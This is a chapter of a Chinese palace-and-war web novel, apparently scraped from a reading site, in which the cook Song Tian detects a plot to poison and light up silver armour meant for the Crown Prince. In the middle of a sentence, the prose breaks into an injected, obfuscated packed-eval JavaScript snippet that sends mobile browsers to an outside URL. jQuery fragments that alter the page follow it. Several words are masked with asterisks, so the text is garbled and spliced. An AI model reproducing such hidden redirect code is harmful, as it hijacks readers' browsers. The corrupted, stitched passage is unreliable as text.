第116章 银质铠甲映雪光

作品:《清穿之御膳房咸鱼只想干饭

    传令兵刚走了,宋甜已经转身往营地西边走。


    北线脚印的事儿她信,但更信自己的鼻子。


    刚走出两步,她蹲下身,指尖戳了戳地上半融的雪泥。


    一股极淡的腥气钻进鼻腔——不是血,是腌过的肉放久了那种闷味,混着**渣子的焦。她皱眉,这味道她熟,上回在宜妃送来的贡鸭肚里闻到过。


    “又是这套。”她站起身,拍了拍手,“拿粉来。”


    手下小太监赶紧从包袱里掏出个陶瓶。她拧开盖,倒出一点红褐色粉末在掌心,吹了口气,撒在雪地上。


    粉末遇湿微微发烫,顺着雪缝往下渗,不一会儿,一道浅浅的红线蜿蜒向前,像是活的一样。


    “果然绕着粮道走。”她冷笑,“想夜袭?先问问我的辣椒粉答不答应。”


    正说着,远处雪地亮起一片银光。


    一人一马踏雪而来,马蹄声沉稳,连风都像是被压低了几分。那人披着玄色大氅,下马时动作利落,肩甲碰撞发出清脆一响。


    胤礽到了跟前,没说话,只一挥手。


    身后两名侍卫抬出个长条木匣,放在雪地上。匣子一开,整套铠甲泛着冷光,从头盔到护膝,通体银白,连铆钉都是银的。


    “孤听说你懂银器试毒。”他语气平淡,“此甲纯银打造,赐你防身。”


    宋甜没伸手接,反而凑近细看。她伸出舌尖,在唇边轻轻一舔——这是她用“食疗天心”感知气息的习惯动作。


    刹那间,一股极细微的吸附感从舌尖传来,像是有看不见的东西正往银面上贴。


    “能**。”她点头,“可也怕被人反着用。”


    胤礽挑眉:“怎么说?”


    “银能验毒,也能**。”她伸手摸了摸肩甲内侧,“要是敌人先涂一层无色无味的慢毒,再让我穿上,岂不是自己把自己关进毒笼子里?”


    胤礽沉默片刻,忽然笑了:“所以你不肯要?”


    “我不是不要。”她弯腰打开围裙口袋,掏出个小布包,“我是得先加点料。”


    抖开布包,里面是红得发黑的辣椒粉,细如尘土,是她特制的“三重辣”,晒足九十天,磨七遍,连老鼠闻了都打喷嚏。


    她抓起一把,顺着铠甲缝隙一点点塞进去,尤其在关节、领口、腋下这些容易被人动手脚的地方,塞得格外仔细。


    “这粉遇湿发热,谁要是敢贴上来抹毒,立马烫得跳脚。”她边塞边说,“而且味冲,熏得人睁不开眼,比狗鼻子还灵。”


    说完,她竟直接把铠甲往胤礽身上披。


    “你——”胤礽一愣。


    “您穿着最安全。”她利落地扣上锁扣,“第一,没人敢明着动太子;第二,您体温高,一旦有人靠近涂毒,辣椒粉立刻反应;第三……”她顿了顿,咧嘴一笑,“您要是真**了,我还能第一时间尝出来。”


    胤礽盯着她看了两秒,忽然抬手扶住她肩膀:“宋甜。”


    “嗯?”


    “孤若真**,你也别活。”


    她翻了个白眼:“您不说我也不会活——御膳房欠我三个月工钱呢。”


    胤礽嘴角抽了抽,到底没绷住,低笑出声。


    这时,十四阿哥从雪幕中冲了出来。


    他几乎是滚下马的,靴子上全是冰碴,眉毛胡子结了一层霜,手里还攥着半截断箭。


    “宋姐!快!”他喘着粗气,“出事了!”


    “慢慢说。”宋甜递了碗热茶过去。


    “叛军在银甲上做了手脚!”他一嗓子吼出来,“他们涂了磷粉!月光下一照就发光,专等太子穿戴后当活靶子!弓手早就埋伏在东南坡,只等目标亮起来就放箭!”


    宋甜猛地抬头看向胤礽。


    果然,借着月光细看,那铠甲肩甲边缘浮着一层极淡的绿光,像是霜,又不像霜,若不仔细瞧,根本发现不了。


    她一把扯下胤礽的大氅,兜头裹住铠甲:“磷粉遇体温才亮,你刚才骑马出汗,反倒压住了光。再晚一步,整个营地都得成箭靶!”


    胤礽低头看着自己被裹得像个粽子的身子,脸色铁青:“好一招请君入瓮。”


    “现在不是生气的时候。”宋甜迅速下令,“熄火把!所有灯罩蒙黑布!银甲立刻抬进内帐,泼冷水降温,断光!”


    她转头对十四阿哥说:“调五十精兵,埋伏东南旧壕。他们既敢派人探路,肯定还有后手,说不定就在等我们乱阵脚。”


    十四阿哥点头就要走,她又叫住他:“带三包辣椒粉去,洒在壕沟边上。谁要是偷偷摸过来,先让他眼泪鼻涕糊一脸。”


    “得嘞!”十四阿哥翻身上马,临走还朝她比了个手势,“宋姐,这次我要是抓到那个涂磷粉的,非让他吃一整碗你做的魔鬼酱!”


    人影消失在雪夜里。


    宋甜转身走进主帐,从怀里摸出几片指甲盖大小的银片,分别贴在帐篷四角。她闭眼,舌尖轻触上颚,启动“三级食疗天心”。


    空气中有种极细微的涩感,像是铁锈混着陈年药渣,正从北面缓缓飘来。


    “还没完。”她睁开眼,“他们在等我们松懈。”


    她走到炉边,拎起一壶刚烧开的水,浇在银片上。水汽蒸腾中,银片边缘泛起一丝极淡的灰雾。


    “果然带毒。”她冷笑,“还是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635569|185968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢性**那种,吸多了手脚发麻,半夜睡过去就醒不来。”


    她立刻命人搬来几盆炭火,摆在帐篷四周,又让守卫轮班含一口辣椒水,防止**昏厥。


    一切安排妥当,她终于坐下,捧着碗热姜汤小口喝着。


    胤礽坐在对面,沉默许久,忽然开口:“你为何总在孤身边?”


    “啥?”她呛了一下。


    “你可以留在后方,管百姓、建粮仓,安安稳稳做个女官。”他盯着她,“可你偏偏跟着前线跑,冒着刺杀、**、战乱的风险,图什么?”


    宋甜放下碗,歪头看他:“殿下,您吃过最香的一顿饭,是在哪儿?”


    胤礽一怔。


    “是在我给您炖佛跳墙那晚。”她笑,“您烧得迷迷糊糊,咬着勺子不吞,我说‘您不是太子,是饿了三天的兵’,您才肯咽下去。”


    胤礽眼神微动。


    “那一口,您吃得比御膳房三百道菜都香。”她指了指自己心口,“因为那是活着的味道。我现在干的每一件事,都是为了让这种味道多留一会儿。”


    她站起身,拍了拍围裙:“您要死,我得陪葬;您要活,我得管饭。就这么简单。”


    胤礽没再说话,只是伸手摸了摸腰间的玉佩。


    外面风雪渐歇。


    宋甜刚端起空碗要走,帐外突然传来急促脚步声。


    一名侍卫冲进来,脸色发白:“姑娘!东南壕那边……抓到人了!是个太监打扮的,怀里藏着半块磷粉膏,嘴上还涂了哑药!”


    宋甜眼睛一亮:“带进来。”


    “可是……”侍卫犹豫,“他手指被齐根切断,伤口像是自己咬的,嘴里全是血,一句话都说不出来。”


    “那就不用他说。”她冷笑,“我会尝。”


    她卷起袖子走向审讯帐,手腕上的银镯在火光下闪了一下。


    胤礽起身跟上,低声问:“真能从血里尝出线索?”


    “不能。”她头也不回,“但我能让他说。”


    帐帘掀开,寒气扑面。


    那个“太监”被绑在柱子上,满脸是血,眼神却狠得像狼。宋甜蹲下身,掰开他的嘴,看了看牙龈和舌苔,又闻了闻他衣领。


    片刻后,她直起身,从围裙里掏出一个小瓷瓶,倒出一粒黑色药丸。


    “这是我特制的‘开口酥’。”她捏住对方下巴,“吃下去,三刻钟内不说实话,肠子会一根根打结。”


    那人瞪着她,喉咙里发出咯咯声。


    宋甜把药丸塞进他嘴里,用力合上他的嘴。


    “现在。”她拍拍手,“咱们聊聊,是谁让你来送死的?”